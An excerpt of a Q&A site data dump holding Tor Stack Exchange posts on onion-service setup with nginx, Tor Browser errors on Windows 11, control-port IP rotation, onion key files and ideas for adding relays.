  <row Id="23824" PostTypeId="2" ParentId="23823" CreationDate="2023-09-08T01:54:18.237" Score="0" Body="&lt;p&gt;Solution: install &lt;code&gt;dbus-glib&lt;/code&gt; from pacman. (&lt;code&gt;sudo pacman -Syu dbus-glib&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="34485" LastActivityDate="2023-09-08T01:54:18.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23825" PostTypeId="2" ParentId="21204" CreationDate="2023-09-08T18:43:57.030" Score="1" Body="&lt;p&gt;I was able to achieve this on my Wordpress site (being served with NGINX) by doing the following:&lt;/p&gt;&#xA;&lt;p&gt;This assumes you have already setup your Wordpress site to use https with a clearnet domain on nginx.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your /etc/tor/torrc file, add the following:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;    HiddenServiceDir /var/lib/tor/exampleonion&#xA;    HiddenServicePort 80 127.0.0.1:8022 #Replace 8022 with another port if you want. NOT 443 or 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Get your onion site address by running:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo cat /var/lib/tor/exampleonion/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new nginx file in &lt;code&gt;/etc/nginx/sites-available/&lt;/code&gt;&#xA;name it example.onion.conf or whatever you want&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the file add this then restart nginx:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;&#xA;  listen putyourtorporthere; &#xA;  server_name youronionaddresshere.onion; &#xA;#The rest should be the same as your clearnet Wordpress site&#xA;&#xA;   root /var/www/example.com/wordpress/; &#xA;   index index.php;  &#xA;   location / { &#xA;                try_files $uri $uri/ /index.php?$args;&#xA;        }&#xA;   location ~ \.php$ { &#xA;                include snippets/fastcgi-php.conf;&#xA;                fastcgi_pass wp-php-handler;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Visit your site using the CLEARNET domain and install and activate the Multiple Domain plugin by goINPUT IT Solutions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Settings-General panel, add your onion domain under the Multiple Domain settings. BE SURE TO SELECT HTTP instead of &amp;quot;Auto&amp;quot; for your onion site since onion certs are not currently easily available.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Test your site in the Tor browser using the onion domain.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To add the &amp;quot;Onion available&amp;quot; message on Tor, add the following to your CLEARNET Nginx config.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;  add_header X-Frame-Options DENY;&#xA;  add_header X-Content-Type-Options nosniff;&#xA;  add_header Onion-Location http://youronionaddresshere.onion$request_uri;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;9&quot;&gt;&#xA;&lt;li&gt;Restart nginx and visit the CLEARNET domain in Tor to see if the banner appears once the site loads.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38911" LastEditorUserId="88" LastEditDate="2023-09-12T21:00:25.423" LastActivityDate="2023-09-12T21:00:25.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23826" PostTypeId="1" CreationDate="2023-09-17T15:10:57.597" Score="0" ViewCount="382" Body="&lt;p&gt;I have used the Tor browser for a long time with no problem, but I got a new laptop recently and every time I install and run Tor, I get the same error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to reinstall multiple times, hibernation isn't a problem as I did a full reboot, ISP and network don't filter Tor because I used it before with no problem. My torrc file was empty after the install but that shouldn't be a problem.&lt;/p&gt;&#xA;&lt;p&gt;System OS: Microsoft Windows 11 Home 64-bit&lt;/p&gt;&#xA;&lt;p&gt;Processor: Intel Core i7-1260P&lt;/p&gt;&#xA;&lt;p&gt;Graphics card: Intel Iris Xe Graphics&lt;/p&gt;&#xA;&lt;p&gt;Memory and storage: 32 GB LPDDR5 and 1 TB SSD&lt;/p&gt;&#xA;&lt;p&gt;Any help is greatly appreciated, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="38941" LastActivityDate="2023-09-17T18:28:55.660" Title="Tor exited during startup on fresh install" Tags="|configuration|windows|help|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23827" PostTypeId="2" ParentId="23826" CreationDate="2023-09-17T18:28:55.660" Score="0" Body="&lt;p&gt;Looks like an old trick from MicroSux :) They are binding unnamed system services on well-known ports of Tor, I2P and other peer-to-peer software, I've noticed it like in 2011 and still it happens. Use another port for your Tor to listen to - and it will be just fine. Also attach a startup log and your torrc config &lt;strong&gt;with bridges and keys and addresses removed&lt;/strong&gt; so it will be easier to pinpoint a problem if it's not this case&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-09-17T18:28:55.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23828" PostTypeId="1" AcceptedAnswerId="23829" CreationDate="2023-09-18T16:32:09.080" Score="0" ViewCount="54" Body="&lt;p&gt;I had installed Windows 11 and started TOR Browser (from a non-system drive, where it was installed earlier). It was running well, even if I maximized the window.&lt;/p&gt;&#xA;&lt;p&gt;But now (after an update or something, not sure) every time I try maximizing the window, it immediately hangs up. Just resizing the window nevertheless works fine. If I don't maximize, it runs well and I can connect to the network and open sites.&lt;/p&gt;&#xA;&lt;p&gt;Other applications (including regular Firefox) don't have the maximizing problem.&lt;/p&gt;&#xA;&lt;p&gt;Is that a TOR browser issue or a one related to Windows 11? How can I workaround it?&lt;/p&gt;&#xA;" OwnerUserId="38944" LastActivityDate="2023-09-18T18:53:55.930" Title="TOR Browser hangs up when maximized on Windows 11" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23829" PostTypeId="2" ParentId="23828" CreationDate="2023-09-18T18:53:55.930" Score="0" Body="&lt;p&gt;Update your windows to the point, no such issue in the last updated one: we've done a fresh install with an upgrade from Windows 10 and initially Windows 11 was a bit glitchy, but after an updates were completed - no problems so far, including Tor browser that we've installed and tried maximizing and resizing it too. Just push it up by going to Settings - Security and Updates - Update center and forcibly press to detect any until it's done. We have used Bit Defender free antivirus instead of the built-in one and installed AMD Software : Adrenalin Edition for the CPU+GPU fresh drivers&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-09-18T18:53:55.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23830" PostTypeId="2" ParentId="22032" CreationDate="2023-09-18T19:32:47.860" Score="0" Body="&lt;p&gt;Actually, a good question! The answer is Yes and No at the same time! As for now, we're encapsulating nearly everything inside a HTTPS pipes and HTTP/2 channels as well, so we can have not just a HTML-rendered sites for a web browsers as we used to have, but also a video conferencing software, audio calling e.t.c. just inside the onion service. Tor is not protocol-specific that much: it only allows &lt;em&gt;any&lt;/em&gt; TCP service to function through it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-09-18T19:32:47.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23831" PostTypeId="1" CreationDate="2023-09-22T21:15:44.823" Score="0" ViewCount="114" Body="&lt;p&gt;When I try to open the Tor browser, I get a Firefox message box, saying: Couldn't load XPCOM . And no, I don't have any Webroot product. Could someone please help me?&lt;/p&gt;&#xA;" OwnerUserId="38959" LastEditorUserId="88" LastEditDate="2023-09-23T08:38:14.160" LastActivityDate="2023-09-23T08:38:14.160" Title="Couldn't load XPCOM" Tags="|tor-browser-bundle|windows|firefox|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23832" PostTypeId="2" ParentId="23791" CreationDate="2023-09-26T21:23:10.770" Score="0" Body="&lt;p&gt;Yes it can be this way and it's OK: the circles/streams are recycled according to timeouts, &amp;quot;dirtiness&amp;quot; e.t.c... - it's all tweakable in torrc config file, so the stream that is in use can live for a while, no problem so far&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-09-26T21:23:10.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23833" PostTypeId="2" ParentId="21204" CreationDate="2023-09-29T12:20:42.973" Score="0" Body="&lt;p&gt;In your Nginx configuration, you want to point an Onion address to another website using a proxy pass. Below is the modified configuration for your scenario:&lt;/p&gt;&#xA;&lt;p&gt;nginx&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Listen on Onion address and redirect to another website&#xA;server {&#xA;    listen 8080;&#xA;    server_name 3nqth62o7x37iyckbsvypqv4ts2fqnrfo3ugqzdurapz6a4tdb2tztad.onion;&#xA;    &#xA;    location / {&#xA;        proxy_pass https://sayches.com;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and other way could be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Server block for clearnet (HTTP)&#xA;server {&#xA;    listen 80;&#xA;    server_name example.com www.example.com;&#xA;&#xA;}&#xA;&#xA;# Server block for Onion (Tor)&#xA;server {&#xA;    listen 127.0.0.1:80; # Listen only on localhost&#xA;    server_name abced.onion;&#xA;&#xA;    # Proxy to your web server (e.g., Apache or another Nginx instance) running on port 80&#xA;    location / {&#xA;        proxy_pass http://localhost:80;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;both way tested and in use&lt;/p&gt;&#xA;" OwnerUserId="28440" LastEditorUserId="28440" LastEditDate="2023-09-29T12:23:07.603" LastActivityDate="2023-09-29T12:23:07.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23834" PostTypeId="2" ParentId="327" CreationDate="2023-09-30T18:52:40.400" Score="0" Body="&lt;p&gt;I just want to share How to change tor ip without restart the tor service.&#xA;For some reason i want change the tor IP for every second instead create multiple tor to get multiple IP.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update&#xA;sudo apt install tor&#xA;echo 'ExitNodes {RU}' | sudo tee --append /etc/tor/torrc&#xA;echo 'ControlPort 9051' | sudo tee --append /etc/tor/torrc&#xA;echo &amp;quot;HashedControlPassword 16:515F363FA030C6E160D21668FAD542DBE6BCA91B4442B2C30EC847B2F6&amp;quot; | sudo tee --append /etc/tor/torrc&#xA;sudo service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Try the tor connection :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install proxychains4&#xA;proxychains -q curl https://ipinfo.io/ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Generate new IP :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo -e &amp;quot;AUTHENTICATE \&amp;quot;safe_password\&amp;quot;\r\nSIGNAL NEWNYM\r\nQUIT\r\n&amp;quot; | nc 127.0.0.1 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Check new IP :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proxychains -q curl https://ipinfo.io/ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39005" LastActivityDate="2023-09-30T18:52:40.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23836" PostTypeId="1" CreationDate="2023-10-01T13:56:43.360" Score="0" ViewCount="57" Body="&lt;p&gt;When I try to open the Tor browser, I get a Firefox message box, saying: Couldn't load XPCOM . And no, I don't have any Webroot product. Could someone please help me?&#xA;I had already asked this question, but no one helped me. Could someone who knows about this problem please help me?&lt;/p&gt;&#xA;" OwnerUserId="38959" LastActivityDate="2023-10-01T13:56:43.360" Title="Couldn't load XPCOM. Tor browser" Tags="|tor-browser-bundle|firefox|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23837" PostTypeId="2" ParentId="4218" CreationDate="2023-10-02T23:56:30.800" Score="0" Body="&lt;p&gt;if you are digging around for this topic (as I was), might want to learn about tor bridges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Avp2P_C5PMU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=Avp2P_C5PMU&lt;/a&gt;&#xA;(not my video, just something useful)&lt;/p&gt;&#xA;" OwnerUserId="30108" LastActivityDate="2023-10-02T23:56:30.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23838" PostTypeId="1" AcceptedAnswerId="23843" CreationDate="2023-10-04T13:20:50.610" Score="0" ViewCount="64" Body="&lt;p&gt;Is it possible to set up vSphere VM so one will be able to connect to it via SSH using an onion domain name?&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ssh user@s4k4ceiapwwgcm3mkb6e4diqecpo7kvdnfr5gg7sph7jjppqkvwwqtyd.onion &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39023" LastEditorUserId="5445" LastEditDate="2023-10-04T22:39:19.660" LastActivityDate="2023-10-07T22:51:33.027" Title="SSH to vSphere VPS via TOR" Tags="|onion-routing|ssh|vps|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23839" PostTypeId="1" CreationDate="2023-10-06T03:59:03.343" Score="0" ViewCount="36" Body="&lt;p&gt;I use latest Tails with persistent LUKS volume. My hardware is &lt;a href=&quot;https://support.apple.com/kb/sp700?locale=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;MacBook Air 2014&lt;/a&gt; (running Debian as daily driver; the machine is well supported).&lt;/p&gt;&#xA;&lt;p&gt;When I boot with SDcard &amp;quot;SanDisk SDXC&amp;quot; (there is an internal reader), the mouse does not work. However, boot via USB stick there are no problems on the same hardware.&lt;/p&gt;&#xA;&lt;p&gt;I do not want to boot Tails via USB stick, but with SDcard &amp;quot;SanDisk SDXC&amp;quot;. Why does this happen and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2023-10-06T12:06:46.330" Title="MacBook Air 2014: when I boot with SDcard &quot;SDXC&quot;, the mouse does not work. However, when booting via USB stick, there are no problems on the same HW" Tags="|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23840" PostTypeId="2" ParentId="23839" CreationDate="2023-10-06T12:06:46.330" Score="1" Body="&lt;p&gt;It's a Tails's buggy old kernel: no HW issue here, same things happening with USB wifi dongles... Tails is immature till this moment regardless of the time it exists. Use &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;QubesOS&lt;/a&gt; - it's based on Xen and has a very mature and secure insulation environment. Tor can be runned on a routing VM in a headless mode - so you will wrap &lt;strong&gt;all&lt;/strong&gt; the slave machines &lt;strong&gt;and&lt;/strong&gt; apps securely through it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-10-06T12:06:46.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23841" PostTypeId="2" ParentId="23838" CreationDate="2023-10-06T14:58:49.127" Score="0" Body="&lt;p&gt;I don't see any reason why it would fail.&lt;/p&gt;&#xA;&lt;p&gt;Any traffic that exits the onion router, should feel and behave the same , be it a HTTPS server or an SSH server.&lt;/p&gt;&#xA;&lt;p&gt;(Don't ask me how, I'm a n00b. I just don't see any reason why it would fail.)&lt;/p&gt;&#xA;" OwnerUserId="39030" LastActivityDate="2023-10-06T14:58:49.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23842" PostTypeId="2" ParentId="23792" CreationDate="2023-10-06T15:10:37.480" Score="0" Body="&lt;pre&gt;&lt;code&gt;Nickname udeservefreedom&#xA;ExtORPort auto&#xA;ORPort 00000&#xA;BridgeRelay 1&#xA;PublishServerDescriptor 1&#xA;BridgeDistribution email&#xA;ServerTransportPlugin obfs4 exec C:\ProgramData\chocolatey\bin\obfs4proxy.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Shoudn't be there an additional port for the obfs4?&#xA;Something like:&lt;/p&gt;&#xA;&lt;p&gt;ServerTransportListenAddr obfs4 0.0.0.0:&lt;em&gt;portnumber&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="39030" LastEditorUserId="39030" LastEditDate="2023-10-06T15:10:57.500" LastActivityDate="2023-10-06T15:10:57.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23843" PostTypeId="2" ParentId="23838" CreationDate="2023-10-07T22:51:33.027" Score="0" Body="&lt;p&gt;it's a working case - you just need to tune your DNS &lt;strong&gt;on the client machine&lt;/strong&gt; the right way! To achieve what you want you need to set up a local DNS server, I'm using BIND - you can use anything you want, and on that server you're redirecting the dot-onion zone to Tor's built-in resolver! Just make it, put your server into your operating system's list - and it will work! I did it like a thousand times in years - not a single fail!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-10-07T22:51:33.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23844" PostTypeId="1" CreationDate="2023-10-11T21:42:29.083" Score="0" ViewCount="61" Body="&lt;p&gt;I have a computer with two interfaces connected to two different networks:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wlan0&lt;/code&gt; should not ever be used for tor traffic.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tor0&lt;/code&gt; should be used for outgoing traffic, but the IP is dynamic, so I cannot use OutboundBindAddress.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is there a way to set the outgoing interface and let Tor find out the address? If it were an option, it could be &lt;code&gt;OutboundBindInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I'm running Debian bookworm (current stable) with the Debian package. I could modify &lt;code&gt;torrc&lt;/code&gt; when the IP changes and then restart &lt;code&gt;tor&lt;/code&gt; but I hope there is a cleaner, safer way (so that no &lt;code&gt;tor&lt;/code&gt; traffic could leak out during the change, since the default route is &lt;code&gt;wlan0&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="39048" LastActivityDate="2023-10-12T22:18:13.390" Title="Choosing an outgoing interface instead of an outgoing IP" Tags="|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23845" PostTypeId="2" ParentId="23844" CreationDate="2023-10-12T14:39:55.207" Score="0" Body="&lt;p&gt;it's done on a firewall level: Tor is OSI Layer 4 service, so it does not know a thing about interfaces - it operates with IP addresses&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-10-12T14:39:55.207" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23847" PostTypeId="1" CreationDate="2023-10-19T14:50:45.707" Score="0" ViewCount="86" Body="&lt;p&gt;I created an onion v3 service and the Tor created three files for it: private and public keys and hostname.&#xA;The private key is actually contains the public key internally. So why do we need the public key file?&#xA;Usually the splitting makes sense to share the public key. But for the Tor it looks like doesn't make sense. The actual pubkey sharing is the onion domain itself.&lt;/p&gt;&#xA;&lt;p&gt;I checked sources and found a big function ed_key_init_from_file()&#xA;Internally it will load the pubkey and compare with a pubkey from secret key. If the pubkey is not exists then if will &amp;quot;repair&amp;quot; it from a secret file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/feature/keymgt/loadkey.c#L512&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/feature/keymgt/loadkey.c#L512&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks for me as an overcomplication. Basically if the pubkey is not needed then we can skip it's loading, repairing, comparison. I'm using the Tor for access to an old router behind CGNAT.&#xA;And if we can make the binary smaller, don't waste time and space for the pubkey and keep the NAND flash that would be great.&lt;/p&gt;&#xA;&lt;p&gt;On the line 511 we are loading the pubkey even if a secret doesn't exists with a comment &amp;quot;We only have the public key; better use that&amp;quot;. I can't understand why to do that because without a secret key nothing should work anyway.&lt;/p&gt;&#xA;&lt;p&gt;And I have and additional questions: Does the Tor recreates the hostname file if only a secret key exists?&lt;/p&gt;&#xA;" OwnerUserId="34729" LastActivityDate="2023-10-19T16:54:24.313" Title="Tor onion service: why the public key file is needed?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23848" PostTypeId="2" ParentId="23847" CreationDate="2023-10-19T16:54:24.313" Score="1" Body="&lt;p&gt;Well, it's a rudimentary function - the only real use for the public key file is to read it from a shell script for some use, but - basically - even the hostname file is rudimentary on the same manner: you can construct it from the key. Anyway - it's not making a mess at all and let it be to keep things simple. Later on, when and if Tor will evolve it's control protocol - it will vanish completely, IMHO. For your second question look here at the very same source file &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/feature/keymgt/loadkey.c#L488&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/feature/keymgt/loadkey.c#L488&lt;/a&gt; - it should&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-10-19T16:54:24.313" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23849" PostTypeId="1" CreationDate="2023-10-19T20:21:06.073" Score="0" ViewCount="62" Body="&lt;p&gt;When generating a tor address domain and keys the secret key must be additionally &amp;quot;expanded&amp;quot;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;specification for key expansion: &lt;a href=&quot;https://github.com/torproject/torspec/blob/12271f0e6db00dee9600425b2de063e02f19c1ee/rend-spec-v3.txt#L2268-L2327&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec/blob/12271f0e6db00dee9600425b2de063e02f19c1ee/rend-spec-v3.txt#L2268-L2327&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;implementation in tor: &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/ext/ed25519/donna/ed25519_tor.c#L65&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/blob/main/src/ext/ed25519/donna/ed25519_tor.c#L65&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;implementation in mkp224o: &lt;a href=&quot;https://github.com/cathugger/mkp224o/blob/af5a7cfe122ba62e819b92c8b5a662151a284c69/ed25519/ed25519.h#L153-L161&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cathugger/mkp224o/blob/af5a7cfe122ba62e819b92c8b5a662151a284c69/ed25519/ed25519.h#L153-L161&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;implementation in Golang &lt;a href=&quot;https://github.com/rdkr/oniongen-go/blob/master/main.go#L38C13-L38C13&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rdkr/oniongen-go/blob/master/main.go#L38C13-L38C13&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is it possible to explain in simple words why the expansion is needed? I have no background in Cryptography but maybe there is some simple explanation.&lt;/p&gt;&#xA;&lt;p&gt;I just generated an ed25519 key and stored as hs_ed25519_secret_key with &lt;code&gt;== ed25519v1-secret: type0 ==\x00\x00\x00&lt;/code&gt; prefix and to my surprise it worked in Tor and I was able to open the self generated onion service.&lt;/p&gt;&#xA;&lt;p&gt;So now I'm confused what is the purpose of the expansion?&lt;/p&gt;&#xA;&lt;p&gt;The Tor generated (extracted) public key and created the &lt;code&gt;hostname&lt;/code&gt; file with an onion address. So as far I understood the pubkey is simply not needed and asked &lt;a href=&quot;https://tor.stackexchange.com/questions/23847/tor-onion-service-why-the-public-key-file-is-needed/23848&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Another one question is why the checksum generation is so complicated? We should make sha3 from concatenation of &amp;quot;.onion checksum&amp;quot; (?) and version (?). But take only 2 bytes of the hash.&lt;/p&gt;&#xA;&lt;p&gt;I can't understand why the checksum was choose. It's difficult to generate and verify. Does the Tor browser or anyone verifies the checksum?&#xA;Why we can't just use Luhn algorithm or ISIN, IBAN etc. Here I don't see why the cryptographic digest hash was used and anyway most its calculated bytes are dropped and only two are used.&lt;/p&gt;&#xA;&lt;p&gt;My end goal is to generate an onion domain in plain shell script from an OpenWrt router and each step is a pain. The sha3 is missing there but md5sum and sha256sum are available out of the box. E.g. Luhn would be difficult to implement anyway but some less advanced hash might simplify my job.&lt;/p&gt;&#xA;" OwnerUserId="34729" LastEditorUserId="34729" LastEditDate="2023-10-19T21:00:58.013" LastActivityDate="2023-10-19T21:00:58.013" Title="Tor onion domain: should the secret key be expanded?" Tags="|onion-services|onionaddress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23850" PostTypeId="2" ParentId="5974" CreationDate="2023-10-19T22:20:36.243" Score="0" Body="&lt;p&gt;First we need to have a whole picture of who and how use Tor and who and how can be against this. Because agencies are still control network so just having community exit nodes might be not enough.&lt;/p&gt;&#xA;&lt;p&gt;Tor may be used by criminals but here we have nuances. For example someone wants to buy cannabis and they aren't really dangerous criminals. But drug sellers may be really dangerous people. And they may also sell heroin or weapons. But those people will host their website on some paid server somewhere on Caribbeans and probably they anyway have a clearnet version.&#xA;But from what I see they just creating chats and drug users somehow know how to find them. So as far I understood the Tor is not actively used for this.&lt;/p&gt;&#xA;&lt;p&gt;Real hackers also doesn't use Tor for attacks and similarly they have own botnets.&#xA;So probably most usage is just to bypass blocking of adult websites, paranoiacs, business peoples who trying keep a commercial secrets and discussions, and just regular people who use it to bypass CGNAT and get an access to their computer or router.&lt;/p&gt;&#xA;&lt;p&gt;Most regular people just use VPN and they don't really looking for anonymity but just to unblock access. Using the Tor for them doesn't really work because it's slow and not convenient because you need to install some additional app. In this regard the Brave browser the only who built-in the Tor support. Why even Firefox still didn't it puzzling me.&#xA;So IMHO today a good UX and simple tools for end users are more important than more exit nodes. The speed of Tor network today is impressively good.&#xA;You can just create an article install Tor VPN and many people who are looking for a VPN may start using the Tor even without understanding what it is.&lt;/p&gt;&#xA;&lt;p&gt;But it's really annoying to browse internet because you will be blocked or asked for a captcha on many websites. This also needs to be solved somehow. Maybe we can just push website owners to not block Tor but be more smart instead. It's nearly to impossible to make a DDoS attack over Tor but a website anyway needs to track suspicious user activity and it's reputation.&#xA;Given how many users today are using VPNs the blocking of Tor exit nodes makes little sense.&lt;/p&gt;&#xA;&lt;p&gt;Exit nodes have to be runned ether by someone who doesn't care about possible legal issues (1) or by an organization that is ready for that (2).&lt;/p&gt;&#xA;&lt;p&gt;In case of 1 individual this can be a &amp;quot;white hacker&amp;quot; (not really) who got an access to someones computer/router, or bough a hosting with a stolen credit card or even created a malware. E.g. in this case he doesn't care about consequences.&lt;/p&gt;&#xA;&lt;p&gt;In case of 2 an organization that may be some hacker space/club  or university, journalists association or a political party most likely Pirate party, Libertarian, Anti-capitalists or any opposition.&lt;/p&gt;&#xA;&lt;p&gt;Speaking about increasing relays I think we may have some solutions.&#xA;The Tor needs to be made as lightweight library and built in into many products. For example into routers that many people have always online and some potion of them would be nice to make a Tor relay there if it won't consume all the bandwidth.&lt;/p&gt;&#xA;&lt;p&gt;I already &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2022-July/014751.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;asked about this in dev-list&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As a side question: is it possible to make a small relay proxy that&#xA;can work part time when I sleep?&#xA;Imagine that each router already has a Tor. This is potentially&#xA;thousands of relay nodes and all of them have a motivation to support&#xA;the network which they are using themselves.&lt;/p&gt;&#xA;&lt;p&gt;But users don’t want to lose bandwidth. I see that I can set some&#xA;traffic or bandwidth limits.&#xA;But maybe I can write some script that will enable or disable the&#xA;relay by schedule in the evening.&#xA;As far I know relays must be always online so this will make the relay&#xA;unstable and it won’t be used by Tor.&#xA;Is it technically possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's a cool idea, but it's not something we support with our current&#xA;design. To deliver good performance to users, we need relays to have&#xA;good, fast, reliable connections. Having a relay that drops off the&#xA;network once a day, or that changes its capabilities too frequently,&#xA;doesn't really work so well (as I understand it). This is an area&#xA;where others understand the design space better, though, so maybe&#xA;somebody will figure something out.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So we need to solve a difficult technical things in order to achieve this.&#xA;But even today it would be possible to make the Tor installed by default in OpenWrt or even Ubuntu and ask a user to turn a relay during installation. This kind of advertisement can give more nodes without any problems. 